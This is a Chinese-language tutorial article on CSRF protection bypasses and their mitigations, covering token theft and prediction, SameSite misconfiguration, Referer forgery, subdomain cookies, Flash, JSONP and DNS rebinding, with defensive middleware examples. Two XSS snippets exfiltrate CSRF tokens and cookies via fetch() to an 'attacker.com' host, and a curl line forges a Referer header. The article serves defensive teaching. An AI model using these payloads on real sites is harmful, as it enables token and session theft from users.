乐闻世界logo
搜索文章和话题

CSRF 攻击的绕过技术有哪些,如何防范这些绕过?

2月21日 16:11

CSRF 攻击的绕过技术是安全研究人员和攻击者不断探索的领域,了解这些技术有助于更好地设计和实施防护措施。

常见的 CSRF 防护绕过技术

1. 绕过 CSRF Token 验证

1.1 Token 泄露

javascript
// 通过 XSS 窃取 CSRF Token <script> // 获取页面中的 CSRF Token const token = document.querySelector('input[name="csrf_token"]').value; // 发送到攻击者服务器 fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({ csrf_token: token }) }); </script>

防护措施

  • 实施 HttpOnly Cookie
  • 使用 Content Security Policy (CSP)
  • 对 Token 进行加密签名

1.2 Token 预测

javascript
// 弱随机数生成器导致的 Token 可预测 function weakCSRFToken() { // 使用时间戳作为随机源 return Date.now().toString(36); } // 攻击者可以预测下一个 Token const predictedToken = (Date.now() + 1000).toString(36);

防护措施

  • 使用加密安全的随机数生成器
  • Token 长度至少 128 位
  • 包含用户会话信息

2.1 SameSite=None 滥用

javascript
// 服务器错误设置 SameSite=None res.cookie('sessionId', sessionId, { sameSite: 'none', secure: false // 缺少 secure 属性 }); // 攻击者可以利用此漏洞发起 CSRF 攻击

防护措施

  • SameSite=None 必须配合 secure=true
  • 使用 HTTPS
  • 避免不必要的 SameSite=None

2.2 浏览器兼容性问题

javascript
// 检测浏览器是否支持 SameSite function checkSameSiteSupport() { const testCookie = 'test=1; SameSite=Strict'; document.cookie = testCookie; return document.cookie.includes('test'); } // 旧版浏览器不支持 SameSite,需要其他防护措施 if (!checkSameSiteSupport()) { // 使用 CSRF Token 等其他防护措施 }

3. 绕过 Referer 验证

3.1 Referer 头伪造

bash
# 使用 curl 伪造 Referer 头 curl -X POST https://target-site.com/api/submit \ -H "Referer: https://target-site.com/" \ -d "data=test"

防护措施

  • Referer 验证仅作为辅助措施
  • 结合 CSRF Token 使用
  • 验证 Origin 头

3.2 Referer 头缺失

javascript
// 某些情况下 Referer 头可能为空 const scenarios = [ 'HTTPS 到 HTTP 的请求', '隐私插件阻止 Referer', '直接输入 URL', '书签访问' ]; // 服务器应该正确处理这些情况

4.1 子域名攻击

javascript
// 如果 Cookie 设置在父域名上 res.cookie('csrfToken', token, { domain: '.example.com' // 包含所有子域名 }); // 子域名存在 XSS 漏洞时,可以窃取 Token // evil.example.com 上的恶意脚本可以读取 Cookie

防护措施

  • 避免在父域名设置敏感 Cookie
  • 使用更严格的域名设置
  • 子域名隔离
javascript
// 通过 XSS 窃取 Cookie <script> const cookies = document.cookie; fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({ cookies }) }); </script>

防护措施

  • 使用 HttpOnly Cookie
  • 实施 CSP
  • 定期更新 Token

5. 高级绕过技术

5.1 Flash CSRF

actionscript
// Flash 可以绕过某些浏览器安全限制 // 即使设置了 SameSite=Strict var request:URLRequest = new URLRequest("https://target-site.com/api/submit"); request.method = URLRequestMethod.POST; var variables:URLVariables = new URLVariables(); variables.data = "test"; request.data = variables; navigateToURL(request, "_self");

防护措施

  • 禁用 Flash
  • 使用 X-Frame-Options
  • 实施 CSP

5.2 JSONP CSRF

javascript
// 利用 JSONP 端点发起 CSRF 攻击 <script> function callback(data) { // 恶意代码 console.log(data); } </script> <script src="https://target-site.com/api/jsonp?callback=callback"></script>

防护措施

  • 避免使用 JSONP
  • 使用 CORS 替代 JSONP
  • 验证请求来源

5.3 DNS Rebinding

javascript
// DNS Rebinding 可以绕过同源策略 // 攻击者控制 DNS 服务器,使域名在不同时间解析到不同 IP // 1. 第一次解析到攻击者服务器 // 2. 第二次解析到目标服务器 // 3. 绕过同源策略限制

防护措施

  • 使用 HTTPS
  • 验证 Host 头
  • 实施 DNSSEC

6. 防护绕过的检测

javascript
// 检测可能的绕过尝试 function detectBypassAttempts(req) { const suspicious = { // 检测异常的 User-Agent unusualUserAgent: /bot|crawler|spider/i.test(req.headers['user-agent']), // 检测缺少 Referer 的 POST 请求 missingReferer: req.method === 'POST' && !req.headers.referer, // 检测异常的请求频率 rapidRequests: checkRequestFrequency(req.ip), // 检测可疑的 Origin suspiciousOrigin: req.headers.origin && !isTrustedOrigin(req.headers.origin) }; return suspicious; }

防护最佳实践

1. 多层防护

javascript
// 实施多层防护措施 function comprehensiveCSRFProtection(req, res, next) { // 第一层:SameSite Cookie if (!validateSameSite(req)) { return res.status(403).send('Invalid SameSite'); } // 第二层:CSRF Token if (!validateCSRFToken(req)) { return res.status(403).send('Invalid CSRF Token'); } // 第三层:Referer 验证 if (!validateReferer(req)) { return res.status(403).send('Invalid Referer'); } // 第四层:Origin 验证 if (!validateOrigin(req)) { return res.status(403).send('Invalid Origin'); } next(); }

2. 安全配置

javascript
// 安全的 Cookie 配置 res.cookie('sessionId', sessionId, { httpOnly: true, // 防止 XSS 窃取 secure: true, // 仅 HTTPS sameSite: 'strict', // 最严格的 CSRF 防护 domain: 'example.com', // 具体域名,不使用父域名 path: '/', // 限制路径 maxAge: 3600000 // 合理的过期时间 });

3. 定期安全审计

javascript
// 安全审计检查清单 const securityAudit = { csrfToken: { isRandom: true, isLongEnough: true, hasExpiration: true, isEncrypted: false }, cookieSettings: { httpOnly: true, secure: true, sameSite: 'strict' }, validation: { refererCheck: true, originCheck: true, tokenValidation: true } };

了解 CSRF 攻击的绕过技术有助于设计更强大的防护措施,但重要的是记住安全是一个持续的过程,需要不断更新和改进防护策略。

标签:CSRF